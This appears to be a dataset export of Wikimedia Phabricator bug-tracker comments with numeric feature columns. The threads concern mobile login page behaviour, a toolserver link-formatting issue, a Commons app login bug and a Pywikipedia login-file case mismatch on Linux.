It doesn't seem like the end of the world to do nothing though - Tumblr seems to do that for example (www.tumblr.com/login)",,,1383150099,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,6.0,20.0,1.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,6.0,1.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,7.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,20.0,3.0,0.0,0.0,0.0,10.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.085714285714285,0.8,"I was just pointing out that many websites if you go to the login page whilst logged in they will redirect you to a user dashboard. Since we don't have this equivalent though I can understand a warning message may suffice.

It doesn't seem like the end of the world to do nothing though - Tumblr seems to do that for example (www.tumblr.com/login)"
263854,Special:UserLogin does not inform you you're already logged in on mobile,"**swalling** wrote:

(In reply to comment #2)
> I would actually say the correct behaviour is to not show the page at all
> maybe
> redirecting to the main page...

That's a bad idea, because it defies normal expectations. A user clicking on a link to login or typing in Special:UserLogin expects to be sent to login. Doing something else silently would seem broken. 

Also, note that if you're already authenticated, you can in fact log in as a different account without logging out, so the warning message educates the user about this, rather than just acting as a roadblock.",,,1383094786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,1.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,1.0,5.5,1.0,0.0,0.0,0.0,0.0,0.0,5.5,13.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,3.5,1.5,0.5,2.5,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,8.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,0.5,6.0,2.5,1.5,6.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,2.5,13.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,3.5,0.0,5.0,0.0,0.0,0.0,3.770440251572327,0.7852900069881202,"**swalling** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE

That's a bad idea, because it defies normal expectations. A user clicking on a link to login or typing in Special:UserLogin expects to be sent to login. Doing something else silently would seem broken. 

Also, note that if you're already authenticated, you can in fact log in as a different account without logging out, so the warning message educates the user about this, rather than just acting as a roadblock."
263850,Special:UserLogin does not inform you you're already logged in on mobile,Just a note that the rationale for the desktop design when user is logged in was discussed on bug 53306 and change I1672ee09.,,,1383094560,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,True,,,9,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,25.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,8.0,8.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.291666666666667,0.9583333333333334,Just a note that the rationale for the desktop design when user is logged in was discussed on bug 53306 and change I1672ee09.
263845,Special:UserLogin does not inform you you're already logged in on mobile,I would actually say the correct behaviour is to not show the page at all maybe redirecting to the main page...,,,1383094002,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,5.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.136363636363637,0.8181818181818182,I would actually say the correct behaviour is to not show the page at all maybe redirecting to the main page...
263839,Special:UserLogin does not inform you you're already logged in on mobile,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1342",,,1383093736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57657,Source link does not recognise https protocol,"There is URL in 'Source' column here http://toolserver.org/~erfgoed/api/api.php?action=search&format=html&srcountry=ua&srlang=uk&srid=61-212-0002&props=image|name|address|municipality|lat|lon|id|country|source|monument_article|registrant_url ,  but there is no A tags there, and I cannot go directly by link. I should copypaste it. It will be more useful if add A tags there.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1381610700,1443227401.0,PHID-USER-i3udwzz23foysknxyfsb,False,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,PHID-TASK-hhfarzxifkzbfplxjjgo,task_description,resolved,True,c2,3,False,False,False,6,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,3.0,3.0,0.0,10.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,17.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,3.3333333333333335,0.6825396825396826,"There is URL in 'Source' column here URL ,  but there is no A tags there, and I cannot go directly by link. I should copypaste it. It will be more useful if add A tags there.

--------------------------
**Version**: unspecified
**Severity**: normal"
703222,Source link does not recognise https protocol,"It actually does not. It triggers the email to all project members even if they don't want to receive it (= are not subscribed to the task). If they want to get email notifications on all changes in given project, they can //watch// the project (apart from //being a member//).

Task subscribers should be only People, not Projects.",,,1469975259,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,152,True,3.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,13.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,9.0,13.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.7101449275362319,"It actually does not. It triggers the email to all project members even if they don't want to receive it (= are not subscribed to the task). If they want to get email notifications on all changes in given project, they can //watch// the project (apart from //being a member//).

Task subscribers should be only People, not Projects."
703209,Source link does not recognise https protocol,"@Danny_B don't subsribtion and project field act differently? I am not sure what @Ahonc needed, but from my POV l, and I am a member of wlmuammxv team too, subscribtion does make sense.",,,1469974184,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,152,True,0.0,0.0,0.0,0.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,11.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,5.0,5.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.2368421052631575,0.868421052631579,"SCREEN_NAME don't subsribtion and project field act differently? I am not sure whatSCREEN_NAME needed, but from my POV l, and I am a member of wlmuammxv team too, subscribtion does make sense."
535588,Source link does not recognise https protocol,Closing this one as Resolved. T112461 is slightly different.,,,1443227401,,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,108,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.7272727272727275,0.9090909090909091,Closing this one as Resolved. T112461 is slightly different.
526242,Source link does not recognise https protocol,Should be vice versa. An older thing can't be a duplicate.,,,1442170566,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,106,True,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,3.4285714285714284,0.8571428571428571,Should be vice versa. An older thing can't be a duplicate.
416128,Source link does not recognise https protocol,Looks like the bot doesn't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424728272,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,77,True,3.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.1794871794871793,0.8461538461538461,Looks like the bot doesn't work with tools. [[URL patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.
415580,Source link does not recognise https protocol,Looks like the bot doen't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424657442,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,77,True,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.236842105263158,0.8421052631578947,Looks like the bot doen't work with tools. [[URL patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.
271683,Source link does not recognise https protocol,"Alright, setting back ""Priority"" from normal to low then, as it should reflect reality and not wishful thinking. :-/",,,1408906117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,51,True,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,"Alright, setting back ""Priority"" from normal to low then, as it should reflect reality and not wishful thinking. :-/"
271680,Source link does not recognise https protocol,"I have no access to fix it.
But it did not fixed during 10 month, I want to make it more quickly.",,,1408903766,,PHID-USER-i3udwzz23foysknxyfsb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,51,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.9615384615384617,0.8076923076923077,"I have no access to fix it.
But it did not fixed during 10 month, I want to make it more quickly."
271675,Source link does not recognise https protocol,Ahonc.ua: Do you plan to work on this?,,,1408898637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,20.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,Ahonc.ua: Do you plan to work on this?
57575,Login screen is loaded briefly even though I'm logged in.,"From Jared

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1381424640,1411417881.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-cepna27rtqwdgr4ecugr,task_description,declined,True,c2,3,False,False,False,6,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.55,"From Jared

--------------------------
**Version**: unspecified
**Severity**: normal"
267031,Login screen is loaded briefly even though I'm logged in.,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411417881,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cepna27rtqwdgr4ecugr,task_subcomment,,True,c2,3,False,,,55,True,2.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,21.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,3.9206349206349205,0.8095238095238095,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: URL"
57190,*-login.data can have case discrepency on Linux host,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1475/
Reported by: jaclayiii
Created on: 2012-06-26 04:52:22
Subject: *-login.data can have case discrepency on Linux host
Original description:
Pywikipedia \[http\] trunk/pywikipedia \(r10401, 2012/06/21, 06:18:43\)
Python 2.7.2+ \(default, Oct  4 2011, 20:06:09\)
\[GCC 4.6.1\]
config-settings:
use\_api = True
use\_api\_login = True
unicode test: ok

Summary: the \*-login.data file maybe saved with an uppercase username but when load cookies tries to find it on a Linux host, the case of the username maybe lower. This has the unintended consequence of not allowing bots to login on private wikis that have anonymous read api rights disabled.


If a user connects to a wiki that has LDAP or some other form of ""add-on"" authentication, the user name returned may vary in case from what is in the user-config.py file. The reason this matters is that the &lt;wikifamily&gt;-&lt;language&gt;-&lt;username&gt;-login.data file may be saved with an upper case letter in the username. Thus if the user-config.py file contained:

users\[""mywiki""\]\[""en""\]=""james""

but the LDAP authenticator returned back ""James"" as the username, then the \*-login.data file would be mywiki-en-James-login.data, but when \_loadcookies goes to look for such a file on line 5572: 

if os.path.exists\(localPA\)

localPA is /~some/path/to/mywiki-en-james-login.data

Notice that the James is now lower case in the file above.

As Linux is case sensitive, it cannot find the login data and thus prevents access to wikis the do not allow anonymous access to api's. A temporary work around requires setting user name to the appropriate case \(even if the username is case insensitive in the LDAP authentication scheme\), for example:

users\[""mywiki""\]\[""en""\]=""James""


keywords: SSL, Login failure, https login failure, https linux login, https pywikipedia, https pywikipedia linux

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1475",Low,25.0,1380948000,1644598152.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-u6hauwbfub42u7jgbgkz,task_description,resolved,True,c2,3,False,False,False,5,True,0.25,0.0,0.0,0.25,0.75,5.75,0.75,0.0,0.0,1.0,2.25,0.0,0.0,0.0,0.0,0.0,0.0,3.75,9.5,0.0,0.75,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.25,0.0,4.25,1.25,0.5,0.5,0.0,0.0,0.0,1.25,0.75,0.0,0.0,0.5,1.25,0.0,0.0,0.0,0.5,0.25,21.25,0.5,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.5,0.0,0.5,0.0,6.75,2.0,8.5,2.0,1.5,7.75,0.0,0.0,0.0,0.0,2.75,0.25,3.0,0.0,0.5,9.5,6.5,0.0,1.5,0.0,0.5,0.0,1.25,1.75,0.0,0.5,0.5,0.25,0.0,4.381154007994951,0.6775720597517357,"Originally from: URL
Reported by: jaclayiii
Created on: 2012-06-26 04:52:22
Subject: *-login.data can have case discrepency on Linux host
Original description:
Pywikipedia \[http\] trunk/pywikipedia \(r10401, 2012/06/21, 06:18:43\)
Python 2.7.2+ \(default, Oct  4 2011, 20:06:09\)
\[GCC 4.6.1\]
config-settings:
use\_api = True
use\_api\_login = True
unicode test: ok

Summary: the \*-login.data file maybe saved with an uppercase username but when load cookies tries to find it on a Linux host, the case of the username maybe lower. This has the unintended consequence of not allowing bots to login on private wikis that have anonymous read api rights disabled.


If a user connects to a wiki that has LDAP or some other form of ""add-on"" authentication, the user name returned may vary in case from what is in the user-config.py file. The reason this matters is that the &lt;wikifamily&gt;-&lt;language&gt;-&lt;username&gt;-login.data file may be saved with an upper case letter in the username. Thus if the user-config.py file contained:

users\[""mywiki""\]\[""en""\]=""james""

but the LDAP authenticator returned back ""James"" as the username, then the \*-login.data file would be mywiki-en-James-login.data, but when \_loadcookies goes to look for such a file on line 5572: 

if os.path.exists\(localPA\)

localPA is /~some/path/to/mywiki-en-james-login.data

Notice that the James is now lower case in the file above.

As Linux is case sensitive, it cannot find the login data and thus prevents access to wikis the do not allow anonymous access to api's. A temporary work around requires setting user name to the appropriate case \(even if the username is case insensitive in the LDAP authentication scheme\), for example:

users\[""mywiki""\]\[""en""\]=""James""


keywords: SSL, Login failure, https login failure, https linux login, https pywikipedia, https pywikipedia linux

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
1863039,*-login.data can have case discrepency on Linux host,we no longer have such a file,,,1644598152,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,True,,,441,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,we no longer have such a file
468077,*-login.data can have case discrepency on Linux host,"@legoktm, @aklapper imported spam ^",,,1433302446,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.8333333333333334,"SCREEN_NAME,SCREEN_NAME imported spam ^"
468082,*-login.data can have case discrepency on Linux host,,,,1433302490,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
